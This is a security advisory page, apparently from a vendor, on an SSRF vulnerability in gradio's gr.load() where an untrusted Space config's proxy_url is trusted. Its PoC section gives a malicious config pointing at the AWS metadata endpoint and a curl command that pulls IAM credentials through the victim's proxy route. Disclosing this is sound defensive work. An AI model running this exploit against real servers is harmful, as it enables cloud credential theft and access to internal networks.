GHSA-jmh7-g254-2cq9 is a high-severity (CVSS 8.2) Server-Side Request Forgery (SSRF) vulnerability in gradio. A fix is available for gradio — see the affected versions and patch details below.
Gradio has SSRF via Malicious `proxy_url` Injection in `gr.load()` Config Processing
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-jmh7-g254-2cq9.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-jmh7-g254-2cq9 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
gradioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses gr.load() to load an attacker-controlled Space, the malicious proxy_url from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure.
Details
The vulnerability exists in Gradio's config processing flow when loading external Spaces:
-
Config Fetching (
gradio/external.py:630):gr.load()callsBlocks.from_config()which fetches and processes the remote Space's configuration. -
Proxy URL Trust (
gradio/blocks.py:1231-1233): Theproxy_urlfrom the untrusted config is added directly toself.proxy_urls:if config.get("proxy_url"): self.proxy_urls.add(config["proxy_url"]) -
Built-in Proxy Route (
gradio/routes.py:1029-1031): Every Gradio app automatically exposes a/proxy={url_path}endpoint:@router.get("/proxy={url_path:path}", dependencies=[Depends(login_check)]) async def reverse_proxy(url_path: str): -
Host-based Validation (
gradio/routes.py:365-368): The validation only checks if the URL's host matches any trustedproxy_urlhost:is_safe_url = any( url.host == httpx.URL(root).host for root in self.blocks.proxy_urls )
An attacker can set proxy_url to http://169.254.169.254/ (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints.
PoC
Full PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6
1. Attacker creates a malicious Gradio Space that returns this config:
{
"mode": "blocks",
"components": [...],
"proxy_url": "http://169.254.169.254/" # AWS metadata endpoint
}
2. Victim loads the malicious Space:
import gradio as gr
demo = gr.load("attacker/malicious-space")
demo.launch(server_name="0.0.0.0", server_port=7860)
3. Attacker exploits the proxy:
# Fetch AWS credentials through victim's server
curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"
Impact
Who is impacted:
- Any Gradio application that uses
gr.load()to load external/untrusted Spaces - HuggingFace Spaces that compose or embed other Spaces
- Enterprise deployments where Gradio apps have access to internal networks
Attack scenarios:
- Cloud credential theft: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials
- Internal service access: Reach databases, admin panels, and APIs on private networks
- Network reconnaissance: Map internal infrastructure through the victim
- Data exfiltration: Access sensitive internal APIs and services
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | gradio | all versions | 6.6.0pip install --upgrade 'gradio==6.6.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gradio, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update gradio to 6.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jmh7-g254-2cq9 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-jmh7-g254-2cq9 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-jmh7-g254-2cq9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jmh7-g254-2cq9 in your dependencies?
O3 Security finds GHSA-jmh7-g254-2cq9 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.